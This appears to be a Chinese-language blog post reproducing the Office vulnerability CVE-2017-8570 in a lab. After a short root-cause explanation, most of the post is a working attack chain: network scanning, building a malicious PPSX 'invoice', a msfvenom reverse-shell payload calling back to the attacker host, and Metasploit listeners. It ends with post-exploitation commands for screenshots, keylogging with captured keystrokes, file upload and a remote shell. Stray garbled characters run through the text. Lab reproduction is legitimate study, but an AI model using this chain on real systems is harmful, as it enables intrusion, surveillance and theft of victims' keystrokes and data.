CVE-2017-8570漏洞復(fù)現(xiàn)

詳細(xì)復(fù)現(xiàn)流程变擒,請(qǐng)直接看文章的滲透流程復(fù)現(xiàn)與EXP分析模塊

引言

課題背景

Office作為當(dāng)前市場(chǎng)占有率最高的辦公軟件畏线,卻常常被爆高危漏洞,其中編號(hào)為CVE-2017-8570的遠(yuǎn)程代碼執(zhí)行漏洞危害尤其之大。CVE-2017-8570是一個(gè)邏輯漏洞锌唾,和常規(guī)的內(nèi)存破壞型漏洞不同,這類(lèi)漏洞無(wú)需復(fù)雜的利用手法夺英,直接就可以在office文檔中運(yùn)行任意的惡意腳本晌涕。

CVE-2017-8570漏洞是利用復(fù)合Moniker繞過(guò)了CVE-2017-0199的補(bǔ)丁針對(duì)Script Moniker和URL Moniker相關(guān)classid的攔截,目前野外暫未發(fā)現(xiàn)攻擊樣本痛悯。

本課題的研究方法

① 理解“PPSX Script Moniker”漏洞——文件格式層面

② 了解漏洞成因

③ 學(xué)習(xí)解析Moniker字符串的知識(shí)

④ 學(xué)習(xí)Freemarker模板

⑤ 在Ubuntu系統(tǒng)環(huán)境下進(jìn)行復(fù)現(xiàn)

⑥ 使用BurpSuite余黎、Cknife工具對(duì)靶場(chǎng)進(jìn)行滲透復(fù)現(xiàn)

漏洞測(cè)試影響軟件

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2 (32-bit editions)

Microsoft Office 2010 Service Pack 2 (64-bit editions)

Microsoft Office 2013 RT Service Pack 1

Microsoft Office 2013 Service Pack 1 (32-bit editions)

Microsoft Office 2013 Service Pack 1 (64-bit editions)

Microsoft Office 2016 (32-bit edition)

Microsoft Office 2016 (64-bit edition)

漏洞測(cè)試環(huán)境

受害者(靶機(jī))

操作系統(tǒng): windows 7 sp1 x86

Office****版本Office 專(zhuān)業(yè)增強(qiáng)版 2016

ip 192.168.89.129

攻擊者

操作系統(tǒng)Kali Linux

ip192.168.89.134

相關(guān)知識(shí)和工具簡(jiǎn)介

“PPSX Script Moniker”漏洞——文件格式層面

① rId1”是一個(gè)被我們的” 魔術(shù)字符串”定義的OLE對(duì)象

1.png

② “rId1”被定義為一個(gè)“l(fā)ink”對(duì)象并且與嘗試去執(zhí)行OLE“Verb”動(dòng)作的動(dòng)畫(huà)特性相關(guān)聯(lián)

2.png

③ 解析Moniker字符串

“MkParseDisplayName()”被調(diào)用以將“魔術(shù)字符串”轉(zhuǎn)換成一個(gè)Moniker對(duì)象

object

0:000> r
……

ole32!MkParseDisplayName:

772ece79 8bff mov edi,edi

0:000> du poi(esp+4*2)

0030ccc4 “script:http://server/test.sct

事實(shí)上,在這里载萌,第一個(gè)“:”之前的字符串是重要的

scripthttp://server/test.sct

這個(gè)過(guò)程有效小復(fù)雜惧财,更多細(xì)節(jié)請(qǐng)閱讀:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx

④ 什么是“script”Moniker

4.png

CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC

? 這是給Windows腳本組件所用的moniker

? 如果你意識(shí)到了“腳本/小腳本”, “無(wú)需文件”的惡意代碼..(@subtree & 其他人的工作)

? https://github.com/subtee

⑤ 激活Moniker

? 然而,初始化“script” moniker事實(shí)上并不會(huì)讓你“運(yùn)行”內(nèi)部的腳本

? 你仍然需要去“綁定”(“激活”)這個(gè)對(duì)象

一個(gè)簡(jiǎn)單的實(shí)驗(yàn)可以證明該點(diǎn)

? 用“script:http://server/test.sct”作為參數(shù)調(diào)用MkParseDisplayName()并不會(huì)讓你的代碼得到執(zhí)行(只有scrobj.dll這個(gè)moniker dll會(huì)被加載)

? 但是在初始化對(duì)象時(shí)調(diào)用BindToObject()會(huì)給你帶來(lái)一切

? 這樣一個(gè)“verb”動(dòng)作執(zhí)行嘗試通過(guò)PowerPoint放映的“動(dòng)畫(huà)”特性去激活相關(guān)聯(lián)的對(duì)象

? IMoniker::BindToObject()被調(diào)用

? 不像“RTF URL Moniker”漏洞扭仁,被利用的進(jìn)程起始于OLE API OleCreateLink()垮衷,而不是OleRun()

⑥ 對(duì)根本原因的總結(jié)

? 這個(gè)漏洞是由于monikers可以通過(guò)一個(gè)PowerPoint放映文件來(lái)初始化和激活這一事實(shí)

? 關(guān)鍵點(diǎn)在這里,在PowerPoint的動(dòng)畫(huà)特性中嘗試去執(zhí)行“verb”動(dòng)作時(shí)激活了對(duì)象乖坠,這最終調(diào)用了moniker上的“BindToObject()”

? Windows 腳本組件(“script” Moniker)被設(shè)計(jì)用來(lái)發(fā)現(xiàn)和運(yùn)行腳本

? 無(wú)需來(lái)自另外OLE對(duì)象的幫助

6.png

環(huán)境設(shè)計(jì)

Office 2016增強(qiáng)版

考慮到現(xiàn)在大多數(shù)設(shè)備使用Office 2016版本搀突,并且未打補(bǔ)丁,選用此版本更具代表性熊泵。

office2016.jpg

攻擊機(jī)Kali Linux

集成眾多滲透軟件描姚,便于使用

滲透流程復(fù)現(xiàn)與EXP分析

使用nmap確定滲透對(duì)象

nmap -sP 192.168.89.0/24

使用nmap確定滲透對(duì)象.jpg

使用nmap嘗試遠(yuǎn)程識(shí)別靶機(jī)操作系統(tǒng)

nmap -O 192.168.89.129

使用nmap嘗試遠(yuǎn)程識(shí)別靶機(jī)操作系統(tǒng).jpg

生成惡意 PPSX 文件

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc

生成惡意 PPSX 文件.jpg

生成惡意的exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe

生成惡意的exe文件.jpg

生成監(jiān)聽(tīng)模式涩赢,監(jiān)聽(tīng)來(lái)自 ppsx 執(zhí)行反彈 shell:(這里會(huì)自動(dòng)啟動(dòng) 80 端口)

python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe

監(jiān)聽(tīng)來(lái)自 ppsx 執(zhí)行反彈.jpg

生成msf的監(jiān)聽(tīng)

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"

生成msf的監(jiān)聽(tīng).jpg

將生成的惡意 Invoice.ppsx 文件復(fù)制到目標(biāo)靶機(jī) win7 系統(tǒng),然后執(zhí)行:

將惡意文件復(fù)制到win7.jpg

即可在msf反彈metertprter的shell出來(lái):

在msf反彈shell.jpg

漏洞修復(fù)

  1. 不要打開(kāi)任何來(lái)源不明的 Office ppt 文檔

2.及時(shí)更新并安裝微軟 2017 年 7 月發(fā)布的最新補(bǔ)缎薄: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs

后續(xù)滲透

截圖

meterpreter > screenshot

Screenshot saved to: /root/ccoDxgvg.jpeg

截圖.jpg

鍵盤(pán)記錄

meterpreter > keyscan_start # 開(kāi)啟鍵盤(pán)記錄

Starting the keystroke sniffer...

meterpreter > keyscan_dump #查看鍵盤(pán)記錄內(nèi)容

Dumping captured keystrokes...

**

-[ C:\soft\SogouExplorer\SogouExplorer.exe

-[ @ 2017年8月13日  4:07:31 UTC

**

<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>

meterpreter > keyscan_stop #關(guān)閉鍵盤(pán)記錄

上傳文件

meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop

上傳文件1.jpg

上傳文件2.jpg

shell

meterpreter > shell

shell 顧名思義就是shell了筒扒,這個(gè)命令相當(dāng)于完全控制了windows的cmd命令行,可以執(zhí)行任意cmd操作绊寻,當(dāng)然只要權(quán)限足夠大的話(huà)花墩。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市澄步,隨后出現(xiàn)的幾起案子冰蘑,更是在濱河造成了極大的恐慌,老刑警劉巖村缸,帶你破解...
    沈念sama閱讀 221,695評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件祠肥,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡梯皿,警方通過(guò)查閱死者的電腦和手機(jī)仇箱,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)东羹,“玉大人剂桥,你說(shuō)我怎么就攤上這事∈籼幔” “怎么了权逗?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,130評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀(guān)的道長(zhǎng)冤议。 經(jīng)常有香客問(wèn)我斟薇,道長(zhǎng),這世上最難降的妖魔是什么恕酸? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,648評(píng)論 1 297
  • 正文 為了忘掉前任堪滨,我火速辦了婚禮,結(jié)果婚禮上尸疆,老公的妹妹穿的比我還像新娘椿猎。我一直安慰自己,他們只是感情好寿弱,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,655評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布犯眠。 她就那樣靜靜地躺著,像睡著了一般症革。 火紅的嫁衣襯著肌膚如雪筐咧。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 52,268評(píng)論 1 309
  • 那天,我揣著相機(jī)與錄音量蕊,去河邊找鬼铺罢。 笑死,一個(gè)胖子當(dāng)著我的面吹牛残炮,可吹牛的內(nèi)容都是我干的韭赘。 我是一名探鬼主播,決...
    沈念sama閱讀 40,835評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼势就,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼泉瞻!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起苞冯,我...
    開(kāi)封第一講書(shū)人閱讀 39,740評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤袖牙,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后舅锄,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體鞭达,經(jīng)...
    沈念sama閱讀 46,286評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,375評(píng)論 3 340
  • 正文 我和宋清朗相戀三年皇忿,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了畴蹭。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,505評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡禁添,死狀恐怖撮胧,靈堂內(nèi)的尸體忽然破棺而出桨踪,到底是詐尸還是另有隱情老翘,我是刑警寧澤,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布锻离,位于F島的核電站铺峭,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏汽纠。R本人自食惡果不足惜卫键,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,873評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望虱朵。 院中可真熱鬧莉炉,春花似錦、人聲如沸碴犬。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,357評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)服协。三九已至绍昂,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背窘游。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,466評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工唠椭, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人忍饰。 一個(gè)月前我還...
    沈念sama閱讀 48,921評(píng)論 3 376
  • 正文 我出身青樓贪嫂,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親艾蓝。 傳聞我的和親對(duì)象是個(gè)殘疾皇子撩荣,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,515評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容